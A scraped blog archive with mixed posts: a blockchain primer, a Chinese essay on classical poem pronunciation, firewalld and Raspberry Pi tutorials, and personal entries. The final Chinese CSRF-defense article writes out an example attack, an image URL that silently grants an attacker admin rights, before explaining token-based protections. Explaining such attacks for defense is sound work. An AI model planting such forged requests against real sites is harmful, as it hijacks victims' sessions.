up. Long story… Miners collect transactions and put them into a single block. A block generally contains four pieces of information: a reference to the previous block, a summary of included transaction, a time stamp, and Proof of Work that went into creating the secure block. The blocks are strung together into a chain—a fluid chain that does not allow for any inconsistencies; this means there are no “bad cheques” in the system, and transactions entered are necessarily valid and can be processed. By checking the blockchain and confirming transactions, the entire system is effectively self-regulated and fully secure. No, that doesn’t mean some kid cooped up in a basement can just click “okay” and confirm a billion dollar transfer. Blocks generally need numerous independent confirmations, and the equations are intended to be hard to crack. Not to mention, the hardware required is far more specialized than the average laptop. Finally, what’s to stop someone from simply going back and editing existing blocks? Each block is securely hashed—meaning it is rendered into seeming gibberish and nearly impossible to invert or undo. Once it’s in the blockchain, it’s there forever. ![rough idea of blockchain](http://byteacademy.co/wp-content/uploads/2016/09/roughblockchain-300x223.png)A rough idea of what a block chain may look like, courtesy of Yevgeniy Brikman ![python for dummies pdf](http://byteacademy.co/wp-content/uploads/2016/09/roughblockchain-300x223.png) A rough idea of what a block chain may look like, courtesy of Yevgeniy Brikman So, why waste time and resources helping other people, or the blockchain? Why not let someone else do all that “confirmation stuff,” while you just mine? Because, you don’t necessarily have a choice. Confirmation of the blockchain is central to mining. It’s part of the actual mining process; however, miners are generally given incentives. For example, after solving a problem (and creating a new hash) they are rewarded with coins. Will you be seeing a blockchain-styled ledger in your future? Short answer: oh yes. Blockchain and cryptocurrencies have caused quite a stir over the past years. However, it seems their real importance has yet to be fully realized. The future isn’t just in businesses around the globe sporting happy “Now Accepting Bitcoins” signs, but rather emerging companies (and revolutionary existing ones, too) finding new uses for the cutting edge technology. VC firms and investors are placing their bets on the blockchain because there is untapped potential. Identity management, international contracts, and all sorts of complicated bank transactions can be greatly altered with the public ledger system. The process could (in an ideal world) work seamlessly, crossing boundaries where banks, logistics or a plethora of other obstacles once existed. They could be combined with the Internet of Things to create a more connected and automated world. Future companies may be able to absorb mountains of new data, or even digitize real-world things that are hard to quantify. Unfortunately, many big companies are remaining mum on the studies in the blockchain field for obvious reasons. However, it is public knowledge that nine major banks (including JP Morgan and Goldman Sachs) recently joined a partnership to develop blockchain technologies. That’s not to say major companies are getting in on the cryptocurrency game; rather, they realize that the blockchain system, itself, could be a powerful tool for efficiency. With a system as versatile and secure as the blockchain, there may many unexpected innovations in the coming months and years. Origin post: Blockchain For Dummies: A Beginner’s Guide BY: HANNAH AUGUR http://byteacademy.co/blockchain-for-dummies-a-beginners-guide/ --- ## [转]古诗中的”斜“究竟怎么读 Date: 2017-10-16 URL: https://blog.wo.ai/archives/1275 Categories: Poem & Reading, Uncategorized 《小学语文教师》2000年第5期上刊有胡孟铭老师的文章《“斜”在〈山行〉中还是读xia好》,主张将“斜”字还其旧读、读古音xia,理由是:“既然课题为古诗,就应读古韵,取古义,才能字义准确,和谐动听”。本刊2000年第10期上又刊有史南先生的文章《“斜”不可读xia》,予以反对,理由是:1985年国家公布的《普通话异读词审音表》“不管那些当时不存在异读的词;如‘斜’字在普通话字(词)典上早已取消了古读音,因此在《审音表》中没有收列它,表明它除了读xie之外,普通话中不存在别的读音”“小学语文教学大纲要求小学生能用普通话朗读课文……再坚持读古音,就违背了国家有关语言文字的政策法规”。 问题至此似乎已有了答案。但笔者的看法却与以上两位老师皆有所不同。语言文字的使用,的确如史老师所说,应当以国家的政策法规为依据。而最高的依据则是2000年10月31日九届人大常委会通过并颁布的《中华人民共和国国家通用语言文字法》(以下简称《语言文字法》)。两位老师讨论时,本法尚未公布。但本法自2001年1月1日实施以后,“斜”的读音问题理当有新的答案。 “斜”字确实存在着旧读音xia,后来演变出xie音,但意义没变(胡老师所谓“‘斜’的读音发生了变化,词义的范围也大大缩小了。倘若将‘斜’还其旧韵xia,(则有)古义‘倾侧或曲折向前延伸’”是无根据的,《康熙字典》《辞源》等古今字书辞书足以为训)。但在古诗教学中究竟应读古音xia,还是今音xie?则应视情形而论。 《语言文字法》规定:“本法所称的国家通用语言文字是普通话和规范汉字”,我们在教学中就应当以国家通用语言文字为准,这是毫无疑义的。所以,教材在古诗《山行》中将“斜”注音为xie是正确的,不但如此,“斜”在本篇课文中还是个生字,教师在教学“斜”这个单字时,也应当训为xie。胡老师对这一点提出异议,笔者不能苟同。但在读本诗的时候也读为xie,又确实拗口。本诗的“斜”字出现在首句,似乎还可将就一二,很多唐诗中“斜”字都出现在偶句末尾。我们知道,古诗的平仄、对仗、押韵,以押韵为第一,当时这些诗都是严格押韵的。若诵读这些诗时也读该字为xie,古诗固有的韵律美被破坏,更让人难于接受。如: 刘禹锡《乌衣巷》 朱雀桥边野草花,乌衣巷口夕阳斜。旧时王谢堂前燕,飞入寻常百姓家。 刘方平《夜月》 更深月色半人家,北斗阑干南斗斜。今夜偏知春气暖,虫声新透绿窗纱。 张泌《寄人》 别梦依依到谢家,小廊回合曲阑斜。多情只有春庭月,犹为离人照落花。 韩君平《寒食》 春城无处不飞花,寒食东风御柳斜。日暮汉宫传蜡烛,轻烟散入五侯家。 元稹《菊花》 秋丛绕舍似陶家,遍绕篱边日渐斜。不是花中偏爱菊,此花开尽更无花。 皎然《寻陆鸿渐不遇》 移家虽带郭,野径入桑麻。近种篱边菊,秋来未着花。扣门无犬吠,,欲去问西家。报道山中去,归来每日斜。 张若虚《春江花月夜》(节录) 昨夜闲潭梦落花,可怜春半不还家。江水流春去欲尽,江潭落月复西斜。 张祜《吴兴新堤》(节录) 春堤一望思无涯,树势还同水势斜。深映菰蒲三十里,晴分功利几千家。 史老师在文章最后说:“但为了让学生知道原来是押韵的,在教学时不妨告诉学生‘斜’在古代的韵母就读ia,直到今天,吴方言中还保留它的古读音,读zia”。笔者认为这样还不够,在诵读这些古诗时就应当读‘斜’为xia。因为教学语言文字与欣赏文学艺术是两回事。我们教学古诗时,这两种活动是同时存在的,但也是完全能够而且应该把二者区分开来的。有的老师就是这样教的:领着学生读“远上寒山石径斜xia……”,然后跟学生讲:“‘斜’字课本上注音为xie,就是‘歪斜’的意思,平时就应当读xie,为什么在诗里读xia呢?这是因为这个字在以前的韵母就是ia,这首诗当时是很押韵的。我们读诗时,为了体会诗的韵律美,也为了更上口,就暂时读xia”。可以确信,只要老师教得明白,学生是不会在其他场合、在说话和写作应用中也读为xia的。这样,不但不会影响到语言文字规范化纯洁化的问题,相反学生还会多学到一点知识,知道“斜”字在古音韵母读ia,知道古人作诗是很重押韵的,更能体会到古诗的韵律美,更容易体会到前人的诗歌艺术才华和成就。岂不更好?重要的是,这样做也有法律的依据。《语言文字法》明确规定:“有下列情形的,可以使用方言:……三戏曲影视等艺术形式中需要使用的;四出版、教学、研究中确需使用的”。这里所谓的“方言”,当然也包括像“斜xia”这样的以方言形式存在的古音韵母。 当然,这种“暂时地读为古音”也是有条件的:必须是“斜”字作韵脚,在韵律的“胁迫”下自然而然地读为xia;如果“斜”虽在古诗中,但不作韵脚,则须还其正读xie音。 对于这种处理,我们还可从对古字形的处理当中找到类似的旁证。比如胡、史二位老师讨论的“鹿柴”。“鹿柴”中“柴”之所以读zhai,是因为“柴”是“寨”的通假字。但是在现代汉语用字标准中,“寨”是不能再写作“柴”了。课本之所以仍保留原来的字形“柴”,无非也是让学生多一点知识,知道“寨”在古代可通写作“柴”,为以后直接阅读古书提供方便而已。《语言文字法》也有相应的规定:“有下列情形的,可以保留或使用繁体字、异体字:……三书法、篆刻等艺术作品;……五出版、教学、研究中需要使用的”。 至于汉匈奴单于“伊稚斜”仍读cha,不读xie,则是因为《审音表》“对大量的人名、地名中的异读字未加审订,这些人名、地名中的异读字照样异读”。 在欣赏性的唐诗吟诵中,为求合于韵律、为求顺口而需要暂时恢复原来读音的字,还有很多。除“斜”字外,另一个比较常见的是“回”字。古诗中“回”作韵脚时,应读古音huai,而不读hui。如: 李白《望天门山》 天门中断楚江开,碧水东流至此回。两岸青山相对出,孤帆一片日边来。 杜甫《登高》(节录) 风急天高猿啸哀,渚清沙白鸟飞回。无边落木潇潇下,不尽长江滚滚来。 刘禹锡《戏赠看花诸君子》 紫陌红尘拂面来,无人不道看花回。玄都观里桃千树,尽是刘郎去后栽。 刘禹锡《石头城》 山围故国周遭在,潮打空城寂寞回。淮水东边旧时月,夜深还过女墙来。 杜牧《早雁》 金河秋半虏弦开,云外惊飞四散哀。仙掌月明孤影过,长门灯暗数声来。须知胡骑纷纷在,岂逐春风一一回。莫厌潇湘少人处,水多菰米岸莓苔。 “回”在唐诗韵脚中读huai,当无疑义。不过这又牵涉到另一个“衰”的读音。《长歌行》有“阳春布德泽,万物生光辉。长恐秋节至,焜黄华叶衰。百川东到海,何时复西归。”;贺知章《回乡偶书》有“少小离家老大回,乡音无改鬓毛衰。儿童相见不相识,笑问客从何处来。”--“衰”当读何音?历来说法不一:或有前首训为shuai的,或有后首训为cui的。笔者的意见则是:“衰”在前诗中训为cui,或有后诗中训为shuai。因为:“衰”字,作“形容萎缩、体量递减”时读cui,如“等衰”;作“气色衰老”时读shuai,如“衰草”。因此,“焜黄华叶衰”中读cui,是指鲜亮的花和叶子萎缩脱落、是形体之变;而“鬓毛衰”中读shuai,是两鬓斑白之意,是气色之变,不是形体之变,不是鬓毛萎缩脱落之意(因为人的鬓毛是头发中最不易脱落的)。诗中的韵脚“辉、归”“回、来”等字可作旁证。 --- ## CentOS 7 下 firewalld的基本操作 Date: 2017-09-07 URL: https://blog.wo.ai/archives/1257 Categories: Technology 这两天服务器升级,升级后发现有些服务不能用了。后来研究了一下,是因为防火墙的原因。之前调试,为了偷懒,把防火墙关了,就没启动过,现在想想裸奔了几个月,心真是大。 对外增加服务: firewall-cmd --zone=public --add-port=80/tcp --permanent 对内设置安全区 firewall-cmd –permanent –zone=internal –change-interface=enp03s firewall-cmd --zone=public --add-port=3306/tcp --permanent 最后,再重新加载firwalld策略 firewall-cmd --reload 以下转载: http://qianxunclub.com/linux-centos-7-fang-huo-qiang-zhi-ju-you-ming-ling-xing-de-firewalldde-ji-ben-cao-zuo/ 启动FirewallD服务: [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 | `systemctl ``enable` `firewalld.service ``#设置开机启动` `systemctl start firewalld.service ``#开启服务` ---|--- 查看防火墙状态: [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `systemctl status firewalld` ---|--- 1\. 区域管理 1.1. 网络区域简介 通过将网络划分成不同的区域,制定出不同区域之间的访问控制策略来控制不同程序区域间传送的数据流。例如,互联网是不可信任的区域,而内部网络是高度信任的区域。网络安全模型可以在安装,初次启动和首次建立网络连接时选择初始化。该模型描述了主机所连接的整个网络环境的可信级别,并定义了新连接的处理方式。有如下几种不同的初始化区域: * 阻塞区域(block):任何传入的网络数据包都将被阻止。 * 工作区域(work):相信网络上的其他计算机,不会损害你的计算机。 * 家庭区域(home):相信网络上的其他计算机,不会损害你的计算机。 * 公共区域(public):不相信网络上的任何计算机,只有选择接受传入的网络连接。 * 隔离区域(DMZ):隔离区域也称为非军事区域,内外网络之间增加的一层网络,起到缓冲作用。对于隔离区域,只有选择接受传入的网络连接。 * 信任区域(trusted):所有的网络连接都可以接受。 * 丢弃区域(drop):任何传入的网络连接都被拒绝。 * 内部区域(internal):信任网络上的其他计算机,不会损害你的计算机。只有选择接受传入的网络连接。 * 外部区域(external):不相信网络上的其他计算机,不会损害你的计算机。只有选择接受传入的网络连接。 注:FirewallD的默认区域是public。 1.2. 显示支持的区域列表 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --get-zones` ---|--- 1.3. 设置为家庭区域 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --``set``-default-zone=home` ---|--- 1.4. 查看当前区域 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --get-active-zones` ---|--- 1.5. 设置当前区域的接口 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --get-zone-of-interface=enp03s` ---|--- 1.6. 显示所有公共区域(public) [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --zone=public --list-all` ---|--- 1.7. 临时修改网络接口(enp0s3)为内部区域(internal) [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --zone=internal --change-interface=enp03s` ---|--- 1.8. 永久修改网络接口enp03s为内部区域(internal) [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --permanent --zone=internal --change-interface=enp03s` ---|--- 2\. 服务管理 2.1. 显示服务列表 Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看: [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --get-services` ---|--- 2.2. 允许SSH服务通过 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --``enable` `service=``ssh` ---|--- 2.3. 禁止SSH服务通过 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --disable service=``ssh` ---|--- 2.4. 打开TCP的8080端口 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --``enable` `ports=8080``/tcp` ---|--- 2.5. 临时允许Samba服务通过600秒 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --``enable` `service=samba --timeout=600` ---|--- 2.6. 显示当前服务 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 | `firewall-cmd --list-services` ---|--- 2.7. 添加HTTP服务到内部区域(internal) [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 | `firewall-cmd --permanent --zone=internal --add-service=http` `firewall-cmd --reload ``#在不改变状态的条件下重新加载防火墙` ---|--- 3\. 端口管理 3.1. 打开端口 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 | `#打开443/TCP端口` `firewall-cmd --add-port=443``/tcp` ---|--- [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 3 4 5 | `#永久打开3690/TCP端口` `firewall-cmd --permanent --add-port=3690``/tcp` `#永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了` `#其它服务也可能是这样的,这个没有测试` `firewall-cmd --reload` ---|--- [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 | `#查看防火墙,添加的端口也可以看到` `firewall-cmd --list-all` ---|--- 4\. 直接模式 FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口 [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 | `firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT` `firewall-cmd --reload` ---|--- 5\. 关闭服务的方法 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下: [?](http://qianxunclub.com/blog?id=67e0d709-ba9f-4ce2-a2f7-128c2cf5cf8b) 1 2 3 4 5 | `systemctl stop firewalld` `systemctl disable firewalld` `yum ``install` `iptables-services` `systemctl start iptables` `systemctl ``enable` `iptables` ---|--- --- ## 擦干眼泪,继续工作 Date: 2017-09-05 URL: https://blog.wo.ai/archives/1241 Categories: Life, Music & Movie 昨天注定是个悲伤的日子。 网上流传不会炒币的码农不是一个好码农,我也加入了,昨天中央发文严管ICO和虚拟货币,所有虚拟货币在半小时内价格一落千丈,跌掉20%以上的比比皆是,我相信是哀鸿遍野了。韭菜党估计已经早就开始割了。今早还有同学发来贺电,说老外昨晚好不容易把价格救上来一些,昨晚哭了一晚的韭菜党早上又开始割了,价格继续下跌,慢慢接着哭吧。 还有一件事就是昨天发现博客不能访问了,到邮箱里面看到催缴费的邮件,续费完发现还是找不到我的服务器,提了ticket后,工作人员说服务器已经删除,无法再恢复。虽然一个人絮絮叨叨的自说自话,也没多少人看,这可是俺写了10多年的博客啊。翻箱倒柜,总算找到一个3月份的数据备份,最后几篇也找不到了。前不久博客被鬼子黑过,插入了木马,google的所有的链接都被变成了他们的广告,正好备份了网站文件。把这两个加一起基本恢复到了3月份的状态,也算是不幸中的万幸。 ![](/wp-content/uploads/2017/09/yukinoka.jpeg) 放上中岛美嘉的雪の華、经历了多少不甘之后还能站出来在舞台上用自己沙哑的声音重新演绎自己的前半生。不幸又能怎么样,擦干眼泪,大不了重新再来。 雪の華-中島美嘉 のびた人陰(かげ)を舗道にならべ 不断延伸的影子 在红砖道上并列 夕闇のなかを君と歩いてる 在深夜里与你并肩走着 手をつないでいつまでもずっと 永远紧紧牵着手 そばにいれたなら 只要能在你身旁 泣けちゃうくらい 我就感动得快要哭了 風が冷たくなって 风儿变得寒冷 冬の匂いがした 有了冬天的味道 そろそろこの街に 这条街也即将到了 君と近付ける季節がくる 能和你接近的季节来临 今年、最初の雪の華を 今年 最初的雪花 ふたり寄り添って 向我俩靠近 眺めているこの瞬間(とき)に 在眺望着的这个瞬间里(时间) 幸せがあふれだす 充满了幸福的喜悦 甘えとか弱さじゃない 没有撒娇和脆弱 ただ、君を愛してる 只是 爱你 心からそう思った 打从心底爱你 君がいるとどんなことでも 只要有你在 无论发生什么 乗りきれるような気持ちになってる 都会有可以克服的心情 こんな日々がいつまでもきっと 我祈祷着 这样的日子 続いてくことを祈っているよ 一定会直到永远 風が窓を揺らした 风儿吹的窗摇 夜は揺り起こして 把夜晚摇醒 どんな悲しいことも 无论多么悲伤的事情 僕が笑顔へと変えてあげる 我用笑容为你改变 舞い落ちてきた雪の華が 雪花飞舞飘落 窓の外ずっと 在窗外一定 降りやむことを知らずに 不知何时雪已停 僕らの街を染める 把我们的街道染色 誰かのために何かを 为某人想做 したいと思えるのが 些什么事 愛ということを知った 原来 这就是爱 もし、君を失ったとしたなら 如果 失去了你 星になって君を照らすだろう 我会变成星星照亮你 笑顔も涙に濡れてる夜も 微笑或被泪水沾湿的夜晚 いつもいつでもそばにいるよ 我会永远在你身旁 今年、最初の雪の華を 今年 最初的雪花 ふたり寄り添って 向我俩靠近 眺めているこの瞬間(とき)に 在眺望着的这个瞬间里 幸せがあふれだす 充满了幸福的喜悦 甘えとか弱さじゃない 没有撒娇和脆弱 ただ、君とずっと 只是 想永远地 このまま一緒にいたい 就这么一直在一起 素直にそう思える 我真心地这么想 この街に降り積もってく 在这条街上堆积的 真っ白な雪の華 纯白雪花 ふたりの胸にそっと想い出を描くよ 悄悄地在我俩胸口画上回忆 これからも君とずっと… 从今而后也要永远和你在一起 --- ## 候鸟模式 Date: 2017-05-08 URL: https://blog.wo.ai/archives/1247 Categories: Life 在一个字母公司一待就是8年,8年没有感情是不可能的,但是上升无望,如果继续无忧无虑的下去,不知道前途在何方。在去年年底终于下定决心离开,来到另外一家字母公司。 也许本身对这家字母公司也是短期跳板的期望,没有过多融入,在三观还没有完全毁尽之前快速离开,来到现在这家研究院。 这项技术目前处于风口,是否能够让我成功转型尚属未知。未知的自己,未知的明天。也正因为如此,抛妻弃子,开启了周末候鸟模式,铁老大该发笑了。 在公寓里还能听取外边还能蛙声一片,但愿今年能够稻花香里说丰年吧。 --- ## Auto start a java Swing GUI program when raspberry boots Date: 2017-03-07 URL: https://blog.wo.ai/archives/1237 Categories: Raspberry Pi, Technology I planed make an self-desgin photo or movie player base on Raspberry. Also I can use it as photo frame. If I need improve the performance of the PI, I need write it with Python, I think. Part 1 – Build the Foundation In this part, we will focus on preparing Raspbian Lite. 1\. Download the latest Raspbian Lite image. 2\. Format the SD / microSD card with Raspbian Lite (Plenty of guides out there on how to do this. For macOS, Linux, and Windows users, Etcher is an easy to use application that can help you do this.) 3\. Insert the SD / microSD card into the Pi. 4\. Connect the Pi to the Internet using an Ethernet cable. If you want to use Wi-Fi instead, you will have to read on how to configure your wireless receiver using the command line after your Pi has finished booting. 5\. Connect your TV / Monitor and keyboard. (Mouse is optional at this time.) Turn on the Pi. The Pi should boot up successfully and a prompt to log in will appear. 6\. Log into Raspbian. The username is pi and the password is raspberry. 7\. We will install Xorg. To do this type in: sudo apt-get install –no-install-recommends xserver-xorg sudo apt-get install –no-install-recommends xinit now, you can write you java program now. For example, I wrote a test program with a button in the center of screen. once I click the button, the window will change to the full size of the screen. import java.awt.FlowLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; public class FullScreenTest { public static void main(String[] args) { final JFrame f = new JFrame(“FullScreenTest”); final JButton btn = new JButton(“FullScreen”); btn.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (btn.getText().equals(“FullScreen”)) { f.dispose(); f.setUndecorated(true); f.getGraphicsConfiguration().getDevice().setFullScreenWindow(f); f.setVisible(true); btn.setText(“NormalMode”); } else { f.dispose(); f.setUndecorated(false); f.getGraphicsConfiguration().getDevice().setFullScreenWindow(null); f.setVisible(true); btn.setText(“FullScreen”); } } }); f.getContentPane().setLayout(new FlowLayout()); f.getContentPane().add(btn); f.pack(); f.setLocationRelativeTo(null); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.setVisible(true); } } Pack the file into a jar file like GUI.jar. In order to have a command or program run when the Pi boots, you can add commands to the `rc.local` file. This is especially useful if you want to be able to plug your Pi in to power headless, and have it run a program without configuration or a manual start. ## EDITING RC.LOCAL On your Pi, edit the file `/etc/rc.local` using the editor of your choice. You must edit with root, for example: sudo nano /etc/rc.local Add commands below the comment, but leave the line `exit 0` at the end, then save the file and exit. sudo xinit /usr/local/jdk1.8.0_77/bin/java -jar /usr/local/mypi/GUI.jar — :1 & Reboot your PI, then done! ### --- ## 防范 CSRF 跨站请求伪造 Date: 2017-03-01 URL: https://blog.wo.ai/archives/1235 Categories: Uncategorized CSRF(Cross-site request forgery,中文为**跨站请求伪造** )是一种利用网站可信用户的权限去执行未授权的命令的一种恶意攻击。通过**伪装可信用户的请求来利用信任该用户的网站** ,这种攻击方式虽然不是很流行,但是却难以防范,其危害也不比其他安全漏洞小。 本文将简要介绍CSRF产生的原因以及利用方式,然后对如何避免这种攻击方式提供一些可供参考的方案,希望广大程序猿们都能够对这种攻击方式有所了解,避免自己开发的应用被别人利用。 > CSRF也称作**one-click attack** 或者**session riding** ,其简写有时候也会使用**XSRF** 。 ## 什么是CSRF? 简单点说,CSRF攻击就是 **攻击者利用受害者的身份,以受害者的名义发送恶意请求** 。与XSS(Cross-site scripting,跨站脚本攻击)不同的是,XSS的目的是获取用户的身份信息,攻击者窃取到的是用户的身份(session/cookie),而CSRF则是利用用户当前的身份去做一些未经过授权的操作。 CSRF攻击最早在2001年被发现,由于它的请求是从用户的IP地址发起的,因此在服务器上的web日志中可能无法检测到是否受到了CSRF攻击,正是由于它的这种隐蔽性,很长时间以来都没有被公开的报告出来,直到2007年才真正的被人们所重视。 ## CSRF有哪些危害 CSRF可以盗用受害者的身份,完成受害者在web浏览器有权限进行的任何操作,想想吧,能做的事情太多了。 * 以你的名义发送诈骗邮件,消息 * 用你的账号购买商品 * 用你的名义完成虚拟货币转账 * 泄露个人隐私 * … ## 产生原理以及利用方式 要完成一个CSRF攻击,必须具备以下几个条件: * 受害者已经登录到了目标网站(你的网站)并且没有退出 * 受害者有意或者无意的访问了攻击者发布的页面或者链接地址 ![](https://segmentfault.com/img/remote/1460000008505620?w=1190&h=832) (图片来自网络,出处不明,百度来的😂) 整个步骤大致是这个样子的: 1. 用户小明在你的网站A上面登录了,A返回了一个session ID(使用cookie存储) 2. 小明的浏览器保持着在A网站的登录状态,事实上几乎所有的网站都是这样做的,一般至少是用户关闭浏览器之前用户的会话是不会结束的 3. 攻击者小强给小明发送了一个链接地址,小明打开了这个地址,查看了网页的内容 4. 小明在打开这个地址的时候,这个页面已经自动的对网站A发送了一个请求,这时候因为A网站没有退出,因此只要请求的地址是A的就会携带A的cookie信息,也就是使用A与小明之间的会话 5. 这时候A网站肯定是不知道这个请求其实是小强伪造的网页上发送的,而是误以为小明就是要这样操作,这样小强就可以随意的更改小明在A上的信息,以小明的身份在A网站上进行操作 ### 利用方式 利用CSRF攻击,主要包含两种方式,一种是基于GET请求方式的利用,另一种是基于POST请求方式的利用。 #### GET请求利用 使用GET请求方式的利用是最简单的一种利用方式,其隐患的来源主要是由于在开发系统的时候没有按照HTTP动词的正确使用方式来使用造成的。**对于GET请求来说,它所发起的请求应该是只读的,不允许对网站的任何内容进行修改** 。 但是事实上并不是如此,很多网站在开发的时候,研发人员错误的认为GET/POST的使用区别仅仅是在于发送请求的数据是在Body中还是在请求地址中,以及请求内容的大小不同。对于一些危险的操作比如删除文章,用户授权等允许使用GET方式发送请求,在请求参数中加上文章或者用户的ID,这样就造成了只要请求地址被调用,数据就会产生修改。 现在假设攻击者(用户ID=121)想将自己的身份添加为网站的管理员,他在网站A上面发了一个帖子,里面包含一张图片,其地址为`http://a.com/user/grant_super_user/121` 设想管理员看到这个帖子的时候,这个图片肯定会自动加载显示的。于是在管理员不知情的情况下,一个赋予用户管理员权限的操作已经悄悄的以他的身份执行了。这时候攻击者121就获取到了网站的管理员权限。 #### POST请求利用 相对于GET方式的利用,POST方式的利用更加复杂一些,难度也大了一些。攻击者需要伪造一个能够自动提交的表单来发送POST请求。 // 只要想办法实现用户访问的时候自动提交表单就可以了。 ## 如何防范 ### 防范原理 防范CSRF攻击,其实本质就是要求网站**能够识别出哪些请求是非正常用户主动发起的** 。这就要求我们**在请求中嵌入一些额外的授权数据,让网站服务器能够区分出这些未授权的请求** ,比如说在请求参数中添加一个字段,这个字段的值从登录用户的Cookie或者页面中获取的(这个字段的值必须对每个用户来说是随机的,不能有规律可循)。攻击者伪造请求的时候是无法获取页面中与登录用户有关的一个随机值或者用户当前cookie中的内容的,因此就可以避免这种攻击。 ### 防范技术 #### Synchronizer token pattern 令牌同步模式(Synchronizer token pattern,简称STP)是在用户请求的页面中的所有表单中嵌入一个token,在服务端验证这个token的技术。token可以是任意的内容,但是一定要保证无法被攻击者猜测到或者查询到。攻击者在请求中无法使用正确的token,因此可以判断出未授权的请求。 #### Cookie-to-Header Token 对于使用Js作为主要交互技术的网站,将CSRF的token写入到cookie中 Set-Cookie: CSRF-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/ 然后使用javascript读取token的值,在发送http请求的时候将其作为请求的header X-CSRF-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql 最后服务器验证请求头中的token是否合法。 #### 验证码 使用验证码可以杜绝CSRF攻击,但是这种方式要求每个请求都输入一个验证码,显然没有哪个网站愿意使用这种粗暴的方式,用户体验太差,用户会疯掉的。 ### 简单实现STP 首先在index.php中,创建一个表单,在表单中,我们将session中存储的token放入到隐藏域,这样,表单提交的时候token会随表单一起提交
... 表单内容
在服务端校验请求参数的`buy.php`中,对表单提交过来的token与session中存储的token进行比对,如果一致说明token是有效的 对于攻击者来说,在伪造请求的时候是无法获取到用户页面中的这个`token`值的,因此就可以识别出其创建的伪造请求。 ### 解析Laravel框架中的VerifyCSRFToken中间件 在Laravel框架中,使用了`VerifyCSRFToken`这个中间件来防范CSRF攻击。 在页面的表单中使用`{{ CSRF_field() }}`来生成token,该函数会在表单中添加一个名为`_token`的隐藏域,该隐藏域的值为Laravel生成的token,Laravel使用随机生成的40个字符作为防范CSRF攻击的token。 $this->put('_token', Str::random(40)); 如果请求是ajax异步请求,可以在`meta`标签中添加token 使用`jquery`作为前端的框架时候,可以通过以下配置将该值添加到所有的异步请求头中 $.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="CSRF-token"]').attr('content') } }); 在启用session的时候,Laravel会生成一个名为`_token`的值存储到session中。而使用前面两种方式在页面中加入的token就是使用的这一个值。在用户请求到来时,`VerifyCSRFToken`中间件会对符合条件的请求进行CSRF检查 if ( $this->isReading($request) || $this->runningUnitTests() || $this->shouldPassThrough($request) || $this->tokensMatch($request) ) { return $this->addCookieToResponse($request, $next($request)); } throw new TokenMismatchException; 在`if`语句中有四个条件,只要任何一个条件结果为`true`则任何该请求是合法的,否则就会抛出`TokenMismatchException`异常,告诉用户请求不合法,存在CSRF攻击。 第一个条件`$this->isReading($request)`用来检查请求是否会对数据产生修改 protected function isReading($request) { return in_array($request->method(), ['HEAD', 'GET', 'OPTIONS']); } 这里判断了请求方式,如果是`HEAD`,`GET`,`OPTIONS`这三种请求方式则直接放行。你可能会感到疑惑,为什么GET请求也要放行呢?这是因为Laravel认为这三个请求都是请求查询数据的,**如果一个请求是使用GET方式,那无论请求多少次,无论请求参数如何,都不应该最数据做任何修改** 。 第二个条件顾名思义是对单元测试进行放行,第三个是为开发者提供了一个可以对某些请求添加例外的功能,最后一个`$this->tokensMatch($request)`则是真正起作用的一个,它是Laravel防范CSRF攻击的关键 $sessionToken = $request->session()->token(); $token = $request->input('_token') ?: $request->header('X-CSRF-TOKEN'); if (! $token && $header = $request->header('X-XSRF-TOKEN')) { $token = $this->encrypter->decrypt($header); } if (! is_string($sessionToken) || ! is_string($token)) { return false; } return hash_equals($sessionToken, $token); 